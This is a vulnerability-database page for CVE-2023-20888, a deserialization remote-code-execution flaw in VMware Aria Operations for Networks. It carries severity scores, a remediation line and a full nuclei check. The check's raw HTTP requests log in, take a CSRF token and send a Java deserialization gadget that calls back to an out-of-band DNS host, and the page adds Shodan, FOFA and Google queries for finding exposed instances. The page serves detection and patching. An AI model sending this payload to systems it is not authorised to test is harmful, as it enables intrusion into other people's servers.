Browse / CVEs / CVE-2023-20888
CVE-2023-20888· vmware / vrealize network insight· CWE-502
VMware Aria Operations for Networks - Remote Code Execution
highseverity
8.8CVSS score
82.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Aria Operations for Networks contains an authenticated deserialization vulnerability. A malicious actor with network access to VMware Aria Operations for Networks and valid 'member' role credentials may be able to perform a deserialization attack resulting in remote code execution.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
Fix
Apply the latest security patches or updates provided by VMware to mitigate this vulnerability.
How to confirm it
Send: POST /api/auth/login ; POST /api/events/push-notifications
Positive when: contains in interactsh_protocol "dns" AND status 500Run it with nuclei: nuclei -id CVE-2023-20888 -u <target>
The full check
id: CVE-2023-20888
info:
name: VMware Aria Operations for Networks - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Aria Operations for Networks contains an authenticated deserialization vulnerability. A malicious actor with network access to VMware Aria Operations for Networks and valid 'member' role credentials may be able to perform a deserialization attack resulting in remote code execution.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches or updates provided by VMware to mitigate this vulnerability.
reference:
- https://www.vmware.com/security/advisories/VMSA-2023-0012.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-20888
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-20888
cwe-id: CWE-502
epss-score: 0.82282
epss-percentile: 0.99663
cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: vmware
product: vrealize_network_insight
shodan-query:
- title:"VMware Aria Operations"
- http.title:"vmware vrealize network insight"
- http.title:"vmware aria operations"
fofa-query:
- title="vmware vrealize network insight"
- title="vmware aria operations"
google-query:
- intitle:"vmware aria operations"
- intitle:"vmware vrealize network insight"
tags: cve2023,cve,vmware,aria,rce,authenticated,oast,vuln
http:
- raw:
- |
POST /api/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
X-Vrni-Csrf-Token: null
{"username":"{{username}}","password":"{{password}}","domain":"localdomain"}
- |
POST /api/events/push-notifications HTTP/1.1
Host: {{Hostname}}
X-Vrni-Csrf-Token: {{csrf}}
Content-Type: application/json
{"endOffset": "{{ generate_java_gadget("dns", "http://{{interactsh-url}}", "base64") }} "}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 500
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'csrfToken":"([a-z0-9A-Z/+=]+)"'
internal: true
part: bodyReferences
- https://www.vmware.com/security/advisories/VMSA-2023-0012.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-20888
Use this check only on systems you are authorised to test. Where the data comes from